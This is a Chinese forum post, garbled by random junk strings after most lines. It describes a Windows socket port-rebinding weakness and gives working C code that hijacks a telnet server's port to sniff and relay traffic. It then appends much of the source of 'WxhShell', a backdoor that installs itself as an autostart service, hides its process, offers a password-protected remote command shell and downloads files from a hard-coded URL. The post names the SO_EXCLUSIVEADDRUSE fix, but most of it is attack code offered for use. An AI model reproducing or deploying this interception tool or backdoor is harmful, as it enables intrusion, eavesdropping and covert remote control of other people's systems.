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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nF<y7XkO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PDt<lJU+X  
"Ug/ ',jkV  
  saddr.sin_family = AF_INET; %A62xnX  
#<wpSs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S&3X~jD(1  
rj,K`HD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %XI"<Y\yL  
'}Wu3X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `(,*IK a  
adI!W-/R:  
  这意味着什么?意味着可以进行如下的攻击: $% Ci8p  
^.#X<8hr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3kiE3*H  
9Yl8n dP^E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /S]:dDY9K  
0TO_1 0D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eOehgU5x  
)[^y t0%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {jhmp\PN  
"%E-X:Il#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y|6@-:B.  
{OO*iZ.O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OK-sT7But  
?+n&hHRg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qBy NHo7Tb  
5@czK*5  
  #include N^\2 _T  
  #include u  m: 0y,  
  #include LZr0]g{Pu/  
  #include    G#e9$!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0+}EA[  
  int main() KQ4kZN  
  { Pr5g6I'G   
  WORD wVersionRequested; *p&^!ct  
  DWORD ret; x}?DkFuxb  
  WSADATA wsaData; >gk z4.*  
  BOOL val; + UK%t>E8  
  SOCKADDR_IN saddr; s:+HRJD|  
  SOCKADDR_IN scaddr; o)%-l4S  
  int err; ,-(T"Ph<  
  SOCKET s; ~=:2~$gsn  
  SOCKET sc; Qj(vBo?D  
  int caddsize; K`QOU-M@}  
  HANDLE mt; RpO@pd m  
  DWORD tid;   DS:>/m>)  
  wVersionRequested = MAKEWORD( 2, 2 ); b4Z`y8=  
  err = WSAStartup( wVersionRequested, &wsaData );  R"U/RS  
  if ( err != 0 ) { F qeV3 N  
  printf("error!WSAStartup failed!\n"); Zc'|!pT _  
  return -1; v2hZq-q  
  } *jM_wwG  
  saddr.sin_family = AF_INET; YDQ:eebg(  
   gA~20LSt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K(nS$x1G  
M{?zvq?d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DX}B0B  
  saddr.sin_port = htons(23); Oj4v#GK]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m'cz5mcD  
  { E X%6''ys  
  printf("error!socket failed!\n"); o84UFhm   
  return -1; 3CR@' qG-  
  } [%@2o<  
  val = TRUE; 4_PCq Ep)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (O\U /daB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \  Md 3  
  { Deg!<[Nw  
  printf("error!setsockopt failed!\n"); aUH\Ee^M:R  
  return -1; JD6aiI!Su  
  } !FTNmyM~F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9-0<*)"b>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :e*DTVv8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lT8#bA  
T~BA)![  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HTmI1  
  { xfjd5J7'  
  ret=GetLastError(); p SHSgd ~&  
  printf("error!bind failed!\n"); .%=V">R  
  return -1; X1+ wX`f  
  } I>PZYh'.T  
  listen(s,2); 96d~~2p  
  while(1) HcRa`Sfc]/  
  { LL&ud_Y  
  caddsize = sizeof(scaddr); 7A5p["?Z  
  //接受连接请求 U-i.(UyZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vT|`%~Be  
  if(sc!=INVALID_SOCKET) HPrq1QpK  
  { q:I$EpKf?Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j5Qo*p  
  if(mt==NULL) {7*>Cv}  
  { ^/HW$8wEi  
  printf("Thread Creat Failed!\n"); UtnZNdl v  
  break; nq"evD5  
  } `vd= ec  
  } ' +j<n[JLC  
  CloseHandle(mt); _AFQ>j  
  } 62)d22  
  closesocket(s); WJ |:kuF  
  WSACleanup(); f`jc#f5+'  
  return 0; nVE9^')8V  
  }   MtS3p>4  
  DWORD WINAPI ClientThread(LPVOID lpParam) v2Bzx/F:  
  { dBSbu=^$)  
  SOCKET ss = (SOCKET)lpParam; (hIF]>,kl  
  SOCKET sc; jjRUL.  
  unsigned char buf[4096]; pY@Y?Jj  
  SOCKADDR_IN saddr; * z'8j  
  long num; "wAf. =F  
  DWORD val; oH^(qZ8W  
  DWORD ret; As~(7?]r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w~z[wmOkp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #2RiLht  
  saddr.sin_family = AF_INET; /kgeV4]zR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hfqqQ!,l!  
  saddr.sin_port = htons(23);  ~*M$O&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r> k-KdS  
  { "g>.{E5  
  printf("error!socket failed!\n"); )"Q*G/+2Ie  
  return -1; Kz jC/1sd  
  } c~0{s>  
  val = 100; oc7$H>ET1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CS 8jA\  
  { TX}T|ri  
  ret = GetLastError(); .f:n\eT):  
  return -1; \P;rES'  
  } o!OMm!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f$.?$  
  { FS6<V0pil  
  ret = GetLastError(); +uo{ m~_4  
  return -1; &gtG~mp<L  
  } 4[yIOs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?WUF!Jk  
  { +-<}+8G;  
  printf("error!socket connect failed!\n"); z0%\OhuCcf  
  closesocket(sc); iYJZvN  
  closesocket(ss); 1TS0X:TCn  
  return -1; jCioE  
  } -`b8T0?oK  
  while(1) `Out(Hn  
  { ]5 Qy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,1oQ cC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 slu(SmQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0* ;O?T  
  num = recv(ss,buf,4096,0); E<E3&;qD  
  if(num>0) HDVW0QaMu  
  send(sc,buf,num,0); Z(u5$<up  
  else if(num==0) ~YP Jez  
  break; X(A.X:"  
  num = recv(sc,buf,4096,0); m/B6[  
  if(num>0) N~^yL<O  
  send(ss,buf,num,0); {2&m`D bm  
  else if(num==0) JIm4vS  
  break; T!RT<&  
  } 1PH: \0}  
  closesocket(ss); g7\,{Bw#E  
  closesocket(sc); ?S Z1`.S  
  return 0 ; q%(EYM5Y  
  } 3S*AxAeg  
 6e,xDr  
.IarkeCtb  
========================================================== 7O5`v(<9n>  
6$U]9D  
下边附上一个代码,,WXhSHELL /./"x~@  
[AU II*:}  
========================================================== `B/0iA  
uo\ .7[1  
#include "stdafx.h" >Dw~P OMy  
L< ^j"!0  
#include <stdio.h> = ?D(g  
#include <string.h> tVuWVJ4M  
#include <windows.h> }`(N:p  
#include <winsock2.h> ;0rGiWC#  
#include <winsvc.h> ;-P)m  
#include <urlmon.h> ,`D~py,  
kIHDeo%K}  
#pragma comment (lib, "Ws2_32.lib") 3_Cp%~Gi-_  
#pragma comment (lib, "urlmon.lib") !Ucjax~  
b[9&l|y^  
#define MAX_USER   100 // 最大客户端连接数 O.aG[ wm8  
#define BUF_SOCK   200 // sock buffer cH' iA.  
#define KEY_BUFF   255 // 输入 buffer -l~Z0U>^  
W%<LTWOc  
#define REBOOT     0   // 重启 2. G=8:l  
#define SHUTDOWN   1   // 关机 N|N3x7=gs  
MP Z3D9  
#define DEF_PORT   5000 // 监听端口 v ^[39*8  
3E3U /K  
#define REG_LEN     16   // 注册表键长度 sUZX }  
#define SVC_LEN     80   // NT服务名长度 ~Q {QM:k  
!oPq?lW9  
// 从dll定义API N`iwC!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5=Xy,hmnC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Z`:nq.a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zgx&Pte  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L`f^y;Y.  
K<?nq0-  
// wxhshell配置信息 o#) {1<0vg  
struct WSCFG { }En  
  int ws_port;         // 监听端口 qm/Q65>E  
  char ws_passstr[REG_LEN]; // 口令 :NJ_n6E  
  int ws_autoins;       // 安装标记, 1=yes 0=no NBl+_/2'w  
  char ws_regname[REG_LEN]; // 注册表键名 )?+$x[f!*  
  char ws_svcname[REG_LEN]; // 服务名 1b=lpw 1}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oSiMpQu08  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )?_#gLrE6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E_Z{6&r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C~fjWz' V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O~j> ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ahx>q  
JB!:JML  
}; sn7AR88M;  
|*Z$E$k:  
// default Wxhshell configuration Lg8nj< TF  
struct WSCFG wscfg={DEF_PORT, zp\8_U @  
    "xuhuanlingzhe", |,9JNm$  
    1, #/PAA  
    "Wxhshell", DPi_O{W>  
    "Wxhshell", 5T sUQc  
            "WxhShell Service", HeBcT^a  
    "Wrsky Windows CmdShell Service", V5+SWXZ  
    "Please Input Your Password: ", "$s~SIUB  
  1, m/#a0~dB  
  "http://www.wrsky.com/wxhshell.exe", 5F`;yh+e  
  "Wxhshell.exe" KiGp[eb  
    }; ;&H4u)  
z/i+EE  
// 消息定义模块 DN4$Jva  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r0p w_j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YK|bXSA[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [MuEoWrq(}  
char *msg_ws_ext="\n\rExit."; ),%6V5a+E  
char *msg_ws_end="\n\rQuit."; wFG3KzEq ~  
char *msg_ws_boot="\n\rReboot..."; 8XbA'% o  
char *msg_ws_poff="\n\rShutdown..."; U qG .:@T  
char *msg_ws_down="\n\rSave to "; {vAE:W.s  
$w"$r$K9K  
char *msg_ws_err="\n\rErr!"; + QQS={  
char *msg_ws_ok="\n\rOK!"; 06jqQ-_`h  
 hi g2  
char ExeFile[MAX_PATH]; * #TUGfwy  
int nUser = 0; .<kqJ|SVi  
HANDLE handles[MAX_USER]; A?Bif;  
int OsIsNt; /}-CvSR  
^vG8#A}]  
SERVICE_STATUS       serviceStatus; <uj 8lctmP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pp9Zb.D\  
mPq$?gdp  
// 函数声明 wAnb Di{W  
int Install(void); v\(2&*  
int Uninstall(void); 2^?:&1:  
int DownloadFile(char *sURL, SOCKET wsh); 4CGPO c  
int Boot(int flag); `/Y{ l  
void HideProc(void); JN7k2]{  
int GetOsVer(void); N},n `Yl.  
int Wxhshell(SOCKET wsl); 1q;#VS/D;H  
void TalkWithClient(void *cs); @A)R_p  
int CmdShell(SOCKET sock); +V&{*f)  
int StartFromService(void); o)'y.-@Q  
int StartWxhshell(LPSTR lpCmdLine); bH"hX  
{BKl`1z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \QmCeB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IIy~[4dW  
~'R(2[L!;  
// 数据结构和表定义 S_~z-`;h!  
SERVICE_TABLE_ENTRY DispatchTable[] = qCv20#!"|  
{ >E*$ E  
{wscfg.ws_svcname, NTServiceMain}, ,o]4?-  
{NULL, NULL} `a9L%z  
}; ZE%YXG  
~o n(3|$  
// 自我安装 b(9FZ]7S  
int Install(void) >I=2!C1w  
{ J,b&XD@m  
  char svExeFile[MAX_PATH]; x W92ch+t  
  HKEY key; Wb S4pdA  
  strcpy(svExeFile,ExeFile); >[X{LI(_<<  
6~*9;!th  
// 如果是win9x系统,修改注册表设为自启动 4DTzSy:x  
if(!OsIsNt) { O]qU[y+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ek&kv#G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3"F`ZJ]=  
  RegCloseKey(key); $+7`Dy!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 86z]<p (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $8a(veXd  
  RegCloseKey(key); 4b:s<$TZ  
  return 0; 2B,] -Mu)  
    } dx ;k`r$w  
  } ;'-olW~  
} D-,L&R!`  
else { xU%w=0z <  
E= `6-H{  
// 如果是NT以上系统,安装为系统服务 dg^L=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); je]}R>[r5  
if (schSCManager!=0) iDf,e Kk$'  
{ )#LpCM,a  
  SC_HANDLE schService = CreateService 5Ba[k[b^  
  ( Xt#1Qs  
  schSCManager, H{t_xL)k.  
  wscfg.ws_svcname, cHa]xmy%r'  
  wscfg.ws_svcdisp, t=xOQ 8  
  SERVICE_ALL_ACCESS, ntmyNf?;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *28pRvY:b  
  SERVICE_AUTO_START, `_&Vt=7lG  
  SERVICE_ERROR_NORMAL, $Y 7c  
  svExeFile, {W##^L~  
  NULL, &.Zb,r$Y  
  NULL, ^ :F.  
  NULL, S(7ro]U9  
  NULL, DS<  }@  
  NULL Ux+Q  
  ); }W ^: cp  
  if (schService!=0) ~b:Rd{  
  { )Z %T27r,^  
  CloseServiceHandle(schService); JAI)Eqqv]  
  CloseServiceHandle(schSCManager); 'TA UE{{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S/ibb&  
  strcat(svExeFile,wscfg.ws_svcname); Rar"B*b;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +&["HoKg}&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h`3eu;5)  
  RegCloseKey(key); N:9>dpP}O  
  return 0; 8| $3OVS  
    } Ka,^OW}<%q  
  } B4]`-mahO  
  CloseServiceHandle(schSCManager); ]~\sA  
} qgDRu]ba  
} }mZwd_cK  
<r3J0)r}  
return 1; *OyHHq|>q  
} Zy09L}59P  
~.!c~fke  
// 自我卸载 )$,"u4  
int Uninstall(void) *& m#qEv  
{ B^^r\L9  
  HKEY key; K5"#~\D  
@&}q} D  
if(!OsIsNt) { Vi$-Bw$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pBw0"ff  
  RegDeleteValue(key,wscfg.ws_regname); 07hF2[i  
  RegCloseKey(key); ~ Uo)0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Ta N{"  
  RegDeleteValue(key,wscfg.ws_regname); 72,rFYvpK  
  RegCloseKey(key); &Ni`e<mP  
  return 0; @UdfAyL  
  } f#Xyoa%  
} sUYxT>R  
} ,<2DL p%%D  
else { w/L `  
TFcT3]R[rL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _$>pw<  
if (schSCManager!=0) yOvm`9  
{ lq"f[-8a2q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BAO|)~1Pd  
  if (schService!=0) J sEa23  
  { XQ*eP?OS{  
  if(DeleteService(schService)!=0) { 5 B=^v#m  
  CloseServiceHandle(schService); P#:?ok  
  CloseServiceHandle(schSCManager); wRrnniqf8  
  return 0; 3T&6opaF  
  } ?^j^K-rx  
  CloseServiceHandle(schService); $u/E\l  
  } +NFzSal  
  CloseServiceHandle(schSCManager); z ;u  
} %4W$Lq}  
} V:G>G'Eh0  
P<fnLQ9  
return 1; Ks\ NE=;5  
} d9n?v)<v  
b<]n%Q'n  
// 从指定url下载文件 *~/OOH$"  
int DownloadFile(char *sURL, SOCKET wsh) 8KH\`5<  
{ b2@VxdFN  
  HRESULT hr; WF\)fc#;_o  
char seps[]= "/"; Sc7U |s  
char *token; o:6@ Kw^  
char *file; 0D8K=h&e  
char myURL[MAX_PATH]; b]a@  
char myFILE[MAX_PATH]; t&9A ]<n%,  
( 9]_ HW[  
strcpy(myURL,sURL); [V 8{b{  
  token=strtok(myURL,seps); b}Zd)2G  
  while(token!=NULL) 2c/Ys4/H4]  
  { q{ /3V  
    file=token; Z;h<6[(  
  token=strtok(NULL,seps); *SO{\bu  
  } M?/jkc.8H  
u=YX9Mo!  
GetCurrentDirectory(MAX_PATH,myFILE); j:w{;(1=W  
strcat(myFILE, "\\"); ?2Kt'1s#  
strcat(myFILE, file); I=;+n-  
  send(wsh,myFILE,strlen(myFILE),0); TT9z_Q5~  
send(wsh,"...",3,0); /cZ-tSC)o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w}{5#   
  if(hr==S_OK) KLX/O1B  
return 0; 2r%lA\,h$  
else Cg616hyut  
return 1; IG3,XW  
&P,^.'  
} r_YIpnJ  
Uje|`<X  
// 系统电源模块 *H[Iq!@  
int Boot(int flag) BA=,7y&;j  
{ 6:% L![FX  
  HANDLE hToken;  KQ[!o!%  
  TOKEN_PRIVILEGES tkp; uGs; }<<8  
wZh:F !  
  if(OsIsNt) { 0 'Vg6E]/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ESoAz o,u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {iG@U=>  
    tkp.PrivilegeCount = 1; 3zT_^;:L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |;A/|F0-e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VzJ5.mRQ  
if(flag==REBOOT) { U4G}DCU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tg3!Rq55  
  return 0; }qjCTEs}  
} v_<2H' *Q  
else { RwVaZJe)l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1oKfy>ie  
  return 0; _W3Y\cs,-  
} RmI1`  
  } _owjTo}  
  else { ]B=C|usJ  
if(flag==REBOOT) { 1p'Le!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P IXL6  
  return 0; {RB-lfrWs  
} \Ey~3&x9f  
else { Dr;iQkGP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MlW 8t[  
  return 0; _ IeU+tS  
} 1b9hE9a{j  
} 6bBdIqGb}  
E0oU$IB  
return 1; rd3j1U  
} N -w(e  
LEECW_:  
// win9x进程隐藏模块 /+e~E;3bO  
void HideProc(void) iK{T^vvk  
{ %PJhy2  
O--7<Q\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &L^CCi  
  if ( hKernel != NULL ) ]TstSF=  
  { @/%{15s.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <5@PWrU?[[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nW?R"@Zm  
    FreeLibrary(hKernel); 69#8Z+dw7  
  } HEA eo!  
hY<{t.ws  
return; 2=ztKfsBhE  
}  8RwX=  
t5 a7DD  
// 获取操作系统版本 @tRMe6 4  
int GetOsVer(void) a <X0e>  
{ x?D/.vrOY  
  OSVERSIONINFO winfo; bl/,*Wx:4.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T@^]i&  
  GetVersionEx(&winfo); N]5m(@h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mCKk*5ws5"  
  return 1; H;WY!X$x  
  else ;HOPABWz)  
  return 0; #ZiT-  
} dPjhq(8 zU  
<@bA?FY  
// 客户端句柄模块 Hoz56y  
int Wxhshell(SOCKET wsl) 2k#t .-  
{ [FQ\I-GNC  
  SOCKET wsh; !p 8psi0  
  struct sockaddr_in client; ;LJ3c7$@lf  
  DWORD myID; t^E hE  
d`Q7"}uZ  
  while(nUser<MAX_USER) wb"RB A9  
{ u@%|k c`  
  int nSize=sizeof(client); :46h+?   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?a/n<V '  
  if(wsh==INVALID_SOCKET) return 1; -T/W:-M(  
9>,Qgp,w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2H?d+6Pt3  
if(handles[nUser]==0) ?)3jqQ.  
  closesocket(wsh); E@ h y7X  
else + C7T]&5s  
  nUser++; Tvf~P w  
  } Uedvc5><t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lj&>cScC  
i RmQ5ezk  
  return 0; igDyp0t  
} F@YV]u>N  
dGgP_ S  
// 关闭 socket zREJ#r  
void CloseIt(SOCKET wsh) :Eh'(   
{ Ri?\m!o  
closesocket(wsh); 't>r sp+#  
nUser--; _py2kjA6  
ExitThread(0); ]"x\=A  
} 9]_GNk-D  
|#5 e|z5(  
// 客户端请求句柄 |LYKc.xo  
void TalkWithClient(void *cs) |9NIGg'n  
{ &+nRIv S_`  
J l7z|QS  
  SOCKET wsh=(SOCKET)cs; H)JS0 G0  
  char pwd[SVC_LEN]; {sS_|sX  
  char cmd[KEY_BUFF]; K^i"9D)A  
char chr[1]; T'rjh"C&|  
int i,j; O25m k X  
%]Cjhs"v  
  while (nUser < MAX_USER) { @sf 90&f  
ged,>  
if(wscfg.ws_passstr) { ~LE[, I:q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (M% ;~y\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rH}fLu8,;Q  
  //ZeroMemory(pwd,KEY_BUFF); C%H9[%k  
      i=0; oK-!(1A-  
  while(i<SVC_LEN) { IbdM9qo7  
, Fytk34  
  // 设置超时 EZ% .M*?  
  fd_set FdRead; g_D-(J`IK,  
  struct timeval TimeOut; s'2Rs^,hN  
  FD_ZERO(&FdRead); S=R 3"~p  
  FD_SET(wsh,&FdRead); lpEDPvD_Vm  
  TimeOut.tv_sec=8; kHU"AD}.  
  TimeOut.tv_usec=0; _Dq Qfc%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !7` [i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \5[-Ml  
Kd{#r/HZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r<FQX3  
  pwd=chr[0]; 0o68rF5^s  
  if(chr[0]==0xd || chr[0]==0xa) { { R*Y=Ie  
  pwd=0; 6/y* 2z;  
  break; ZC\mxBy  
  } $Qq_qTJu?G  
  i++;  ~u/@rqF  
    } 41;)-(1  
ic~Z_?p  
  // 如果是非法用户,关闭 socket k46gY7y,9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9.Ap~Ay.  
} Kx]> fHK  
#Go(tS~o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W]LQ &f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <3#<I)#  
;nf&c;D  
while(1) { Iu6W=A  
R@ QQNYU.D  
  ZeroMemory(cmd,KEY_BUFF); :_c*m@=z(  
0!IPcZjY7  
      // 自动支持客户端 telnet标准   |a(Q4 e/,  
  j=0; ]GS ~i+=M  
  while(j<KEY_BUFF) { rUFFF'm\*a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "#XtDpGk  
  cmd[j]=chr[0]; y"R("j $  
  if(chr[0]==0xa || chr[0]==0xd) { y*KC*/'"  
  cmd[j]=0; PdM*5g4  
  break; '(9YB9 i  
  } B "n`|;r5  
  j++; rU*q@y Px  
    } 8m7eaZ  
/Su)|[/'  
  // 下载文件 zv9M HC &  
  if(strstr(cmd,"http://")) { #J~Xv:LgD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =5_y<0`4  
  if(DownloadFile(cmd,wsh)) #O6 EP#B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xvO 3BU~2  
  else _> Ln@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {jG.=}/Dk  
  } <rMv0y+r  
  else { ,9UCb$mh  
x)\V lR  
    switch(cmd[0]) { '{^8_k\}B  
  5\?3$<1 I  
  // 帮助 g$gS7!u,  
  case '?': { ^teaJy%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gD5P!}s[u0  
    break; 7AeP Gr  
  } ULTNhq R*n  
  // 安装 0&B:\  
  case 'i': { :R3P 58>  
    if(Install()) xtsL8-u f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); () <`t}FQ  
    else \L %q[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DOT=U _  
    break; yI:r7=KO  
    } @4&, #xo  
  // 卸载 !(yT7#?hP  
  case 'r': { +0U#.|?  
    if(Uninstall()) $ {@q?iol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~XOK;sB  
    else SLg+H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ])S$x{.g  
    break; kLq( !Gs  
    } 1ThwvF%Qo  
  // 显示 wxhshell 所在路径 "'~|}x1Uv  
  case 'p': { =9fEv,Jk  
    char svExeFile[MAX_PATH]; OH0S2?,{>  
    strcpy(svExeFile,"\n\r"); PE|PwqX  
      strcat(svExeFile,ExeFile); 0K/G&c?;=  
        send(wsh,svExeFile,strlen(svExeFile),0); @+$cZ3,  
    break; u7n[f@Eg,%  
    } RrKfTiK H  
  // 重启 k)|'JDm  
  case 'b': { 487YaioB$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bI#<Ee0nJ  
    if(Boot(REBOOT)) W  _J&M4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =w?M_[&K)  
    else { l 4!kxXf-<  
    closesocket(wsh); !O 4<I_EY{  
    ExitThread(0); C1KfXC*|L  
